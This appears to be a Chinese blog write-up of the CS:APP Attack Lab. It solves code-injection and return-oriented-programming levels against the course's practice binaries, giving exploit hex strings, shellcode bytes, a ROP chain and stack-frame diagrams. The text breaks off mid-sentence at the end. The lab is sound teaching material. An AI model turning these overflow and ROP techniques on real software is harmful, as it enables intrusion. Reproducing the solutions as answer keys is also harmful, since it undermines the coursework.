1. 程式人生 > >圖文並茂-超詳解 CS:APP: Lab3-Attack(附帶棧幀分析)

圖文並茂-超詳解 CS:APP: Lab3-Attack(附帶棧幀分析)

### CS:APP:Lab3-ATTACK ### 0. 環境要求 關於環境已經在lab1裡配置過了。lab1的連線如下 實驗的下載地址如下 說明文件如下 http://csapp.cs.cmu.edu/3e/attacklab.pdf ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114452062-2033981780.png) 這是實驗的分數和一些簡介下面就開始我們的實驗吧 ### 1. Part I: Code Injection Attacks #### 1.1 Level 1 對於第一個我們不需要注入新的程式碼。只需要重定向我們的程式就可 ```c 1 void test() 2 { 3 int val; 4 val = getbuf(); 5 printf("No exploit. Getbuf returned 0x%x\n", val); 6 } ``` 這是初試的`test`程式我們執行程式之後。輸入字串就會執行`printf` 這裡注意我們執行要`./ctarget -q`因為我們沒有辦法連線到cmu的遠端判定程式。下面是我們亂輸的測試 ```tex [root@cadc591c8a87 attack]# ./ctarget -q Cookie: 0x59b997fa Type string:baba No exploit. Getbuf returned 0x1 ``` 而本實驗的要求是要我們改變上面的行為。當我們輸入完字串之後執行下面的`touch1`而不是上面的`printf` ```c 1 void touch1() 2 { 3 vlevel = 1; /* Part of validation protocol */ 4 printf("Touch1!: You called touch1()\n"); 5 validate(1); 6 exit(0); 7 } ``` 本題就是利用一個基本的緩衝區溢位把`getbuf`的返回地址設定成`touch1`的地址。`cmu`的官網給了我們一些小建議 + 利用`objdump -d ./ctarget>>ctarget.s`得到彙編程式碼 + 思路是將`touch1`的開始地址,放在某個位置,以實現當`ret`指令被`getbuf`執行後會將控制權轉移給`touch1` + 一定要注意位元組序 + 你可以使用`gdb`設定斷點來進行除錯。並且`gcc`會影響棧幀中`buf`存放的位置。需要注意 這裡再附上`gdb`的常用操作命令 **1.分析`test`**彙編程式碼 ```c 0000000000401968 : 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff callq 4017a8 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 retq ``` 這裡首先分配棧幀然後呼叫`getbuf` 隨後把返回值賦給了`edx` `ox403188`賦給`esi` 可以相當這個應該是`printf`的字元`check`一下 ``` (gdb) p (char*)0x403188 $1 = 0x403188 "No exploit. Getbuf returned 0x%x\n" ``` 發現果然是這樣。 **2. 分析一下`getbuf`** ```c 00000000004017a8 : 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq ``` 可以發現`getbuf`分配了大小為40位元組的緩衝區然後把呼叫`gets`把讀入的字串放到緩衝區中。 ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114529179-2064671701.png) 可以發現我們只要把`getbuf的返回地址設定成touch1的地址=0x4017c0`就可。這裡getbuf的緩衝區為40位元組。我們可以前40個位元組亂輸。只需要後面的值為`4017c0`即可。我們構造一個txt檔案用來輸入`touch1.txt` ```text 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 ``` 這裡注意一下次序。我們把這個輸入之後`getbuf`的緩衝區會變成下圖這樣 ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114540102-931146495.png) 來試試我們的這個輸入吧`./hex2raw < touch1.txt | ./ctarget -q` ```tex [root@cadc591c8a87 attack]# ./hex2raw < touch1.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 66 11 22 66 66 66 66 66 66 66 66 22 66 33 66 33 66 66 66 00 66 11 66 44 22 11 22 66 66 66 33 66 66 55 66 66 66 66 66 C0 17 40 00 00 00 00 00 00 00 [root@cadc591c8a87 attack]# ``` #### 1.2 Level2 `phase2`需要我們注入一小段程式碼。來完成字串漏洞攻擊 `touch2`的程式碼如下 ```c void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } ``` 本題的任務就是要我們在`getbuf`之後直接`ret`到touch2裡面而不是繼續執行`test`大概任務和第一個一樣。只不過方法不太一樣。`cmu`的官方文件又給了我們一些建議 + `touch2`的引數`val`是利用`rdi`暫存器進行傳遞的 + 你要利用某種方式讓`getbuf`的返回地址為`touch2`的地址 + 你的注入程式碼的傳入引數應該等於`cookie`的值。 + 不要在注入程式碼內呼叫`ret`或者`call` + 請參見附錄B中有關如何使用工具生成位元組級表示形式的指令序列的討論。 附錄B就在說明文件的最下方。在附上一個說明文件的地址 **1.分析touch2** 這裡`getbuf`分配的棧幀和上面的一樣。就不在畫出了(主要是畫的太醜了) ```assembly 00000000004017ec : 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 401802: 75 20 jne 401824 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d 401822: eb 1e jmp 401842 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 ``` 其實touch2的邏輯非常簡單。就是比較我們傳入的引數`val`是否等於`cookie`的值。如果等於就可以通過。所以本題的關鍵就是在改變返回地址前也設定`rdi`暫存器的值。因此我們可以很容易的想到我們要插入的彙編程式碼是什麼 ```assembly movq $0x59b997fa, %rdi pushq 0x4017ec ret ``` 再利用下面的操作檢視他的位元組序表示 ```c gcc -c l2.s objdump -d l2.o 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: ff 34 25 ec 17 40 00 pushq 0x4017ec e: c3 retq ``` 下面的問題就變成了我們如何執行這段程式碼。聯想第一個題我們應該利用緩衝區溢位的方法。 我們繼續看一下`getbuf`的彙編程式碼 ```assembly 00000000004017a8 : 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop ``` 這裡把`%rsp`賦給了`rdi`然後呼叫了`gets` 我們需要check一下`rsp`在這裡打一個端點 ```c (gdb) b *0x4017ac Breakpoint 1 at 0x4017ac: file buf.c, line 14. (gdb) r -q Starting program: /csapp/attack/ctarget -q warning: Error disabling address space randomization: Operation not permitted Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64 Cookie: 0x59b997fa (gdb) info r rsp rsp 0x5561dc78 0x5561dc78 ``` 我們發現`rsp`的地址為`0x5561dc78` 是不是有點想法可以開始寫了。 我們可以讓執行完`getbuf`之後回到`rsp`的這裡。然後把我們要執行的三行彙編程式碼執行。就可以成功執行`touch2`了。這樣我們的輸入流就如下圖。 ```tex 48 c7 c7 fa 97 b9 59 68 <-讀入我們要執行的彙編語句 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 <-返回地址為rsp ``` 來試試能不能通過。發現可以正常通過 ```assembly [root@cadc591c8a87 attack]# ./hex2raw < touch2.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 ``` 下面畫一個我們這樣的輸入之後的棧幀幫助大家理解 這裡轉ASCLL太難了就不轉了 | getbuf的返回地址 | 00 00 00 00 55 61 dc 78 | | ---------------- | ------------------------ | | rsp+20 | 00 00 00 00 00 00 00 00 | | rsp+18 | 00 00 00 00 00 00 00 00 | | rsp+10 | 00 00 00 00 00 00 00 00 | | rsp+8 | 00 00 00 c3 00 40 17 ec | | rsp | 68 59 b9 97 fa c7 c7 48 | 這裡rsp的地址就為`0x5561dc78` 所以我們返回地址是會返回到`rsp`這裡然後執行我們的三條彙編程式碼 ```c movq $0x59b997fa, %rdi pushq 0x4017ec ret ``` #### 1.3 Level3 level3也是要進行程式碼注入。但是這裡要注入一個string。 `hexmatch`和`touch3`的程式碼如下。程式碼分析直接寫到註釋裡面了 ```c /* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); //s=val=cookie return strncmp(sval, s, 9) == 0; //比較cookie和第二個引數的前9位是否相同 // cookie只有8位元組。這裡為9的原因是我們要比較最後一個是否為'\0' } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { //相同則成功 printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } ``` **任務:** 你的任務`getbuf`之後執行`touch3`而不是繼續執行test。你必須要傳遞`cookie`字串作為引數 一些小建議 + 你需要在利用緩衝區溢位的字串中包含`cookie`的字串表示形式。該字串應該有8個十六進位制陣列成。注意沒有前導0x + 注意在c語言中的字串表示會在末尾處加一個`\0` + 您注入的程式碼應將暫存器%rdi設定為此字串的地址 + 呼叫函式hexmatch和strncmp時,它們會將資料壓入堆疊,從而覆蓋存放`getbuf`使用的緩衝區的記憶體部分。 因此,您需要注意在哪裡放置您的`Cookie`字串 **1.簡單分析touch3** ```c++ 00000000004018fa : 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 401911: e8 36 ff ff ff callq 40184c 401916: 85 c0 test %eax,%eax ``` 邏輯非常簡單首先把`rdi`的值傳遞給`rsi`然後把`cookie`的值傳遞給`rdi`呼叫hexmatch函式。這裡`rsi`的值應該就是我們的字串陣列的起始地址。 這裡我們注意`hexmatch`函式裡也開闢了棧幀。並且還有隨機棧偏移動。可以說字串`s`的地址我們是沒法估計 的。並且提示中告訴了我們`hexmatch`和`strncmp`函式可能會覆蓋我們`getbuf`的緩衝區。所以我們的注入程式碼要放在一個安全的位置。我們可以把它放到`text`的棧幀中。我們在`getbuf`分配棧幀之前打一個斷點。 `b *0x4017a8` ```tex (gdb) b *0x4017a8 Breakpoint 1 at 0x4017a8: file buf.c, line 12. (gdb) r -q Starting program: /csapp/attack/ctarget -q warning: Error disabling address space randomization: Operation not permitted Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64 Cookie: 0x59b997fa Breakpoint 1, getbuf () at buf.c:12 12 buf.c: No such file or directory. (gdb) info r rsp rsp 0x5561dca0 0x5561dca0 ``` 可以發現我們`text`的`rsp`地址現在為`0x5561dca0` 可以發現這裡面儲存了本來`getbuf`的返回地址也就下一條指令 ```tex (gdb) x 0x5561dca0 0x5561dca0: 0x00401976 //正常的getbuf會返回到如下 0x401976: 89 c2 mov %eax,%edx ``` 這裡分析一下getbuf剛分配完之後的棧幀。這裡需要停下來整理一下 | 0x5561dca8 | | | ------------------------------------------ | ----------------------- | | 0x5561dca0 getbuf的返回地址(text的棧幀) | 00 00 00 00 00 40 19 76 | | rsp+20(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp+18(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp+10(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp+8(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | 由於我們在呼叫`touch3`的時候只需要傳遞給他一個字串陣列的起始地址這裡我們可以利用緩衝區溢位把`cookie`的字串輸入到`0x5561dca8 `然後在利用緩衝區溢位把`getbuf`的返回地址設定成`rsp`的地址。利用`level2`的技巧執行我們的彙編指令。 ```c movq $0x5561dca8 %rdi pushq 0x4018fa retq ``` 看一下這段彙編程式碼的位元組表示 ```tex [root@cadc591c8a87 attack]# gcc -c l3.s l3.s: Assembler messages: l3.s: Warning: end of file not at end of a line; newline inserted [root@cadc591c8a87 attack]# objdump -d l3.o l3.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 pushq 0x4018fa e: c3 retq ``` 好現在開始構造我們的輸入。這裡先看一下`cookie`的`ascll`表示`35 39 62 39 39 37 66 61`好了下面開始我們的輸入構造 ```c 48 c7 c7 a8 dc 61 55 68 <-讀入我們要執行的彙編語句 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 <-返回地址為rsp ``` 來試試能不能通過。發現可以正常通過 ```c [root@cadc591c8a87 attack]# ./hex2raw < touch3.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 ``` 下面還是通過一個棧幀來分析一下發生了什麼。 | 0x5561dca8 (儲存了字串陣列) | 61 66 37 39 39 62 39 35 | | ------------------------------------------ | ----------------------- | | 0x5561dca0 getbuf的返回地址(text的棧幀) | 00 00 00 00 55 61 dc 78 | | rsp+20(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp+18(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp+10(getbuf的棧幀) | 00 00 00 00 00 00 00 00 | | rsp+8(getbuf的棧幀) | 00 00 00 c3 00 40 18 fa | | rsp(getbuf的棧幀) | 68 55 61 dc a8 c7 c7 48 | ### 2. Part II: Return-Oriented Programming #### 介紹 >
關於第二部分有一大段介紹。在上面點實驗說明文件裡就有。這裡對它簡單解釋一下 對程式RTARGET進行程式碼注入攻擊比對CTARGET進行難度要大得多,因為它使用兩種技術來阻止此類攻擊: 1. 隨機棧偏移。這讓我們很難找到程式的地址 2. 標記為不可執行區域。這使得我們的攻擊程式碼無法被執行。 具體解釋可以看下面的截圖(截圖來自於hit的csapp第三章ppt ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114620277-2065035912.png) 在這樣的限制下,我們不能使用程式碼注入的方式來進行攻擊了,Write up中介紹了ROP這種方式,大致的思想就是我們把棧中放上很多地址,而每次ret都會到一個Gadget(小的程式碼片段,並且會ret),這樣就可以形成一個程式鏈。通過將程式自身(`./rtarget`)的指令來完成我們的目的。 ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114629931-637716876.png) #### 2.1 level2 對於第4階段,您將重複第2階段的攻擊,但使用來自您的小工具的程式RTARGET進行此攻擊。 您可以使用由以下指令型別組成的小工具(gadgets)來構造解決方案,並且僅使用前八個x86-64暫存器(%rax–%rdi)。 ```tex movq : The codes for these are shown in Figure 3A. popq : The codes for these are shown in Figure 3B. ret : This instruction is encoded by the single byte 0xc3. nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1. ``` **一些建議** 1. 所有你需要的`gadgets`你都可以 found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm. 所以這裡我們把`rtaget`反彙編 ` objdump -d rtarget >
r.txt` 2. 你只可以用兩個`gadgets` 3. 當一個小`gadgets`使用`pop`指令。你的`exploit string`中必須含有一個地址和`data` ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114700634-401242401.png) 同時本題給了一些對於彙編程式碼的`encoding`例子 ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114734785-2100266818.png) 這裡在放一下任務2的程式碼。我們只需要讓傳入的第一個引數`R[%rdi]=cookie`就ok了 ```c void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } ``` 通過上面的圖我們可以知道 ![](https://img2020.cnblogs.com/blog/2282357/202102/2282357-20210202114748052-109211876.png) ```c++ popq 5f //就是可以popq rdi ``` 在`rtarget`裡面我們發現這樣的程式碼果然出現了 ```c 402b18: 41 5f pop %r15 402b1a: c3 retq ``` 所以我們就可以構建我們的答案了。只要讓`pop`的值等於`cookie`的值。然後在`ret`之前把地址改成`touch2`的地址。 ```tex @le2.txt 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2b 40 00 00 00 00 00 #pop %rdi fa 97 b9 59 00 00 00 00 #cookie ec 17 40 00 00 00 00 00 #touch2 ``` 我們測試一下我們的結果`./hex2raw < le2.txt | ./rtarget -q` ```c [root@cadc591c8a87 attack]# ./hex2raw < le2.txt | ./rtarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00 ``` #### 2.2 Level3 這個是整個實驗的第五關。官網上說你到這裡已經獲得了95分了。如果你不想繼續的話就可以停止了。咳咳咳本著求知的目的我們還是把這個實驗完成吧。看起來第五關難度應該很大 **階段5要求您對`RTARGET`進行`ROP`攻擊,以使用指向`cookie`字串的指標來呼叫函式`touch3`** `touch3`的程式碼如下 ```c++ /* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); //s=val=cookie return strncmp(sval, s, 9) == 0; //比較cookie和第二個引數的前9位是否相同 // cookie只有8位元組。這裡為9的原因是我們要比較最後一個是否為'\0' } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { //相同則成功 printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } ``` 行了最後一點我做不出來了。網上有非常多的參考。這裡就不寫了。。。(真菜啊我) ### Summary 除了最後一個實驗。其他的只要好好讀書,認真理解應該都能夠做出來的。最後一個主要是中間隔了太久了。沒有想做的慾望了。直接去網上查了別人的這裡就不做複製工作了。第四個實驗一定會認